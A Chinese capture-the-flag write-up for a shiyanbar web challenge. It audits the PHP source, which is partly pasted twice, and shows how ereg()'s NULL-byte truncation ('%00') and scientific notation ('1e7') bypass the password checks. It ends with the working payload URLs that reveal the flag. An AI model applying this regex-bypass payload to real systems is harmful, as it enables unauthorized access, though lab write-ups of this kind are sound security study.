这个题是我第二遍做,第一遍是第一个账号做的,当时还是小白,真的什么也不会,当然现在水平还是很低。。。
第二遍又重创了个实验吧的账号,这次打算不去上网搜 wp,自己做做看,开是刷题。。。
ereg()函数漏洞,科学记数法,
~~~打开后,点击view the source code,直接可以看到源代码,毋庸置疑,代码审计
<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
要满足四个条件
1.You password must be alphanumeric,2.strlen($_GET['password']) < 8 ,3.$_GET['password'] > 9999999,4.(strpos ($_GET['password'], '*-*') !== FALSE)
strlen()函数为返回password的长度,用get方式传递password,strpos()函数:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。 4.!== FALSE 即含有*-*
条件2和3,用普通的方法1000000似乎无法同时满足两者,但是10000000=1e7,可以绕过
条件1是ereg函数,这个函数有个漏洞,ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配,ereg读到%00的时候,就截止了,检测只能有a-zA-Z0-9,不能有*-等等特殊,可以绕过对*-的检测,不能检测出含有*-
似乎payload已经可以构造出来了,即1e7%00*-*,或1e8%00*-*,或1e9%00*-*,
但是若是直接从网页上输入到password的窗口是行不通的,可能是有一次url转换,应该从此页面的url上直接输入payload,
http://ctf5.shiyanbar.com/web/more.php?password=1e7%00*-*
http://ctf5.shiyanbar.com/web/more.php?password=1e8%00*-*
http://ctf5.shiyanbar.com/web/more.php?password=1e9%00*-*
即可跳转到有flag的页面